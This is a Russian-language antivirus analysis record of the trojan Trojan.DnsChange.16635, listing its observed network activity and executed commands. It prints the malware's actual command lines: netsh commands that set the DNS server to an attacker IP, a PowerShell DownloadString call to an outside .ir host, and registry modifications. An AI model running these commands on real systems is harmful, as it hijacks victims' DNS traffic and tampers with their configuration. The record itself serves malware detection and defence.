Trojan.DnsChange.16635

Техническая информация

Вредоносные функции

Для затруднения выявления своего присутствия в системе

изменяет следующие системные настройки:

Изменяет DNS-сервер на '<DNS_SERVER>'
Изменяет DNS-сервер на '185.128.139.29'

Загружает

http://www.sp###check.ir/

Сетевая активность

Подключается к

'sp###check.ir':80

TCP

Запросы HTTP GET

http://www.sp###check.ir/

Другие

'<DNS_SERVER>':53

UDP

DNS ASK microsoft.com
DNS ASK sp###check.ir

Другое

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c @for /f "delims=" %1 in ('dir /s /b "%ProgramFiles(x86)%\MAHA\eurosy32.exe"') do @echo %~dp1
'%WINDIR%\syswow64\cmd.exe' /c @for /f "tokens=2 delims==" %1 in ('wmic nic where "NetConnectionStatus=2" get NetConnectionID /format:value') do @for /f "delims=" %2 in ('@echo %1') do (netsh interface ip add dns name="%...
'%WINDIR%\syswow64\cmd.exe' /c findstr /s "^" "backup\es_in\*.txt"| find /i "[DATAOUT]"
'%WINDIR%\syswow64\cmd.exe' /c wmic nic where "NetConnectionStatus=2" get NetConnectionID /format:value
'%WINDIR%\syswow64\cmd.exe' /c @FOR /F "DELIMS=" %9 IN ('DIR /S /AD /B "%LOCALAPPDATA%\NMCR.EXE*"') DO @CD "%9/.." && %SYSTEMDRIVE% && @FOR /F "TOKENS=2 DELIMS=:" %1 IN ('FINDSTR /S /N "^" *.* ^| FIND /I "TestLineId"') DO...
'%WINDIR%\syswow64\findstr.exe' /s "^" "backup\es_in\*.txt"
'%WINDIR%\syswow64\find.exe' /i "[DATAOUT]"
'%WINDIR%\syswow64\wbem\wmic.exe' nic where "NetConnectionStatus=2" get NetConnectionID /format:value
'%WINDIR%\syswow64\cmd.exe' /c @for /f "tokens=3" %1 in ('@REG query "HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog" /V LineID') do @echo %1
'%WINDIR%\syswow64\cmd.exe' /c @type "%ALLUSERSPROFILE%\Anydesk.bin"
'%WINDIR%\syswow64\cmd.exe' /c DIR /S /AD /B "%LOCALAPPDATA%\NMCR.EXE*"
'%WINDIR%\syswow64\reg.exe' query "HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog" /V LineID
'%WINDIR%\syswow64\netsh.exe' interface ip add dns name="Local Area Connection" addr=8.8.8.8 index=2
'%WINDIR%\syswow64\cmd.exe' /c @for /f "tokens=*" %1 in ('@findstr "manually" "LOG\*app"') do @echo %1 > "MVEC.LUI"
'%WINDIR%\syswow64\cmd.exe' /c @for /f "tokens=3 delims=><" %1 in ('POWERSHELL -COMMAND ^(NEW-OBJECT SYSTEM.NET.WEBCLIENT^).DOWNLOADSTRING^('http://www.sp###check.ir/'^) ^| find /i "h2 class="') do @echo %1
'%WINDIR%\syswow64\cmd.exe' /c @for /f "tokens=*" %1 in ('@REG query "HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog" /V UnLItem') do @echo %1
'%WINDIR%\syswow64\cmd.exe' /c @findstr "manually" "LOG\*app"
'%WINDIR%\syswow64\cmd.exe' /c POWERSHELL -COMMAND (NEW-OBJECT SYSTEM.NET.WEBCLIENT).DOWNLOADSTRING('http://www.sp###check.ir/') | find /i "h2 class="
'%WINDIR%\syswow64\findstr.exe' "manually" "LOG\*app"
'%WINDIR%\syswow64\find.exe' /i "h2 class="
'%WINDIR%\syswow64\cmd.exe' /c @REG query "HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog" /V UnLItem
'%WINDIR%\syswow64\reg.exe' query "HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog" /V UnLItem
'%WINDIR%\syswow64\cmd.exe' /c @echo Local Area Connection
'%WINDIR%\syswow64\cmd.exe' /c for /f "tokens=3 delims=:" %1 in ('findstr /s "^" "backup\es_in\*.txt"^| find /i "[DATAOUT]"') do @echo %1
'%WINDIR%\syswow64\cmd.exe' /c @REG query "HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog" /V LineID
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v FinalAppBlock /t reg_dword /d 0 /f
'%WINDIR%\syswow64\find.exe' /i "7"
'%WINDIR%\syswow64\cmd.exe' /c dir /s /b "%ProgramFiles(x86)%\MAHA\eurosy32.exe"
'%WINDIR%\syswow64\cmd.exe' /c @for /f "tokens=1 delims=:" %1 in ('findstr /n "^" "eurosy32.ini" ^| find /i "PATH_AppendFrom="') do @echo %1 > "f1" && for /f "tokens=1 delims=:" %1 in ('findstr /n "^" "eurosy32.ini" ^| fi...
'%WINDIR%\syswow64\cmd.exe' /c @reg add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v upsv /t reg_dword /d 0 /f & @reg add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v WinLic /t reg_dword /d 0 /f & @reg add HKLM\SOFT...
'%WINDIR%\syswow64\cmd.exe' /c @for /f "tokens=*" %1 in ('@echo "SQLEUROSYSTEM.ini"') do @for %2 in (%~1) do @for /f "tokens=*" %8 in ('echo %2^| find /i "7"') do @if /i %8 geq 720 (@for /f "tokens=2 delims==" %1 in ('@fi...
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v upsv /t reg_dword /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c findstr /n "^" "eurosy32.ini" | find /i "PATH_AppendFrom="
'%WINDIR%\syswow64\cmd.exe' /c @echo "SQLEUROSYSTEM.ini"
'%WINDIR%\syswow64\cmd.exe' /c echo SQLEUROSYSTEM.ini| find /i "7"
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v WinLic /t reg_dword /d 0 /f
'%WINDIR%\syswow64\find.exe' /i "PATH_AppendFrom="
'%WINDIR%\syswow64\findstr.exe' /n "^" "eurosy32.ini"
'%WINDIR%\syswow64\find.exe' /i "REG_SZ"
'%WINDIR%\syswow64\cmd.exe' /S /D /c" echo SQLEUROSYSTEM.ini"
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v RtxQery /t reg_dword /d 0 /f
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v MSDOS98 /t reg_dword /d 0 /f
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v NTLDRP /t reg_dword /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c @for /f "tokens=3" %1 in ('REG QUERY "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\EVENT VIEWEr" /V "MicrosoftRedirectionURL"^| find /i "REG_SZ"') do @echo %~1
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v WinProfilers /t reg_dword /d 0 /f
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v ProfilePic /t reg_dword /d 0 /f
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v UtilityApp /t reg_dword /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\EVENT VIEWEr" /V "MicrosoftRedirectionURL"| find /i "REG_SZ"
'%WINDIR%\syswow64\reg.exe' QUERY "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\EVENT VIEWEr" /V "MicrosoftRedirectionURL"
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v FinalApp /t reg_dword /d 0 /f
'%WINDIR%\syswow64\netsh.exe' interface ip add dns name="Local Area Connection" addr=185.128.139.29 index=1